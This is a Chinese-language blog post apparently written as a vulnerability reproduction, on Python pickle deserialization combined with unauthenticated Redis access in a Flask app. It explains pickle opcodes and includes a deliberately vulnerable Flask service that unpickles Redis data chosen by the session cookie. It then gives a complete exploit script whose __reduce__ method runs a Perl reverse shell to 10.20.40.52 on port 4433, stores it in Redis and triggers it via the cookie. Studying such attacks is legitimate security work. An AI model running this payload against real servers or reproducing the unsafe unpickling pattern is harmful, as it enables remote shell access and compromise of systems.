淺談python反序列化漏洞

最近看到p神一篇講python反序列化的文章，結合redis未授權訪問組合漏洞，感覺在flask和redis的構架中比較常見，便記錄下來。

p神原文：https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

 

漏洞原理：

python序列化會通過pickle的dumps和loads來進行序列化和反序列化

 

 

 其中序列化后的值為

對應的格式如下：

c：讀取新的一行作為模塊名module，讀取下一行作為對象名object，然后將module.object壓入到堆棧中。
(：將一個標記對象插入到堆棧中。為了實現我們的目的，該指令會與t搭配使用，以產生一個元組。
t：從堆棧中彈出對象，直到一個“(”被彈出，並創建一個包含彈出對象（除了“(”）的元組對象，並且這些對象的順序必須跟它們壓入堆棧時的順序一致。然后，該元組被壓入到堆棧中。
S：讀取引號中的字符串直到換行符處，然后將它壓入堆棧。
R：將一個元組和一個可調用對象彈出堆棧，然后以該元組作為參數調用該可調用的對象，最后將結果壓入到堆棧中。
.：結束pickle。

 

漏洞復現：

前提搭建一個web服務器，需要一個flask+redis的web服務。

代碼如下

import redis
from flask import Flask,request,session
import pickle
import random
app = Flask(__name__)

class Redis:
    @staticmethod
    def connect():
        r = redis.StrictRedis(host='localhost', port=6379, db=0)
        return r

    @staticmethod
    def set_data(r,key,data,ex=None):
        r.set(key,pickle.dumps(data),ex)

    @staticmethod
    def get_data(r,key):
        data = r.get(key)
        if data is None:
            return None
        return pickle.loads(data)

def getrand():
    str='abcdefghijklnmopqrstuvwxyz1234567890'
    count = ''
    for i in range(10):
            index = random.randint(0,35)
            count += str[index]
    return count


@app.route('/',methods=['GET'])
def hello_world():
    str = request.args.get('str')
    r = Redis.connect()
    rand = getrand()
    Redis.set_data(r,rand,str)
    return rand+':'+str

@app.route('/getcookie')
def get_cookie():
    cookie = request.cookies.get('session')
    r = Redis.connect()
    data = Redis.get_data(r,cookie)
    return 'your data:'+data

if __name__ == '__main__':
    app.run()

程序大概過程是訪問 / 目錄會往redis中插入一條str變量，key值是偽隨機生成的

然后訪問/getcookie會訪問cookie中的session的值帶入redis查詢並反序列化

 

 

 

 

 

 可以構造payload如下

#!/usr/bin/env python
#
import cPickle
import os
import redis

class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
        return (os.system, (s,))

e = exp()
s = cPickle.dumps(e)

r = redis.Redis(host='127.0.0.1', port=6379, db=0)
r.set("e6c36e69a9c", s)

 

payload會往redis中插入一條e6c36e69a9c的key值

 

 然后在/getcookie中設置cookie訪問，並監聽服務器上的4433端口

 

 get!!!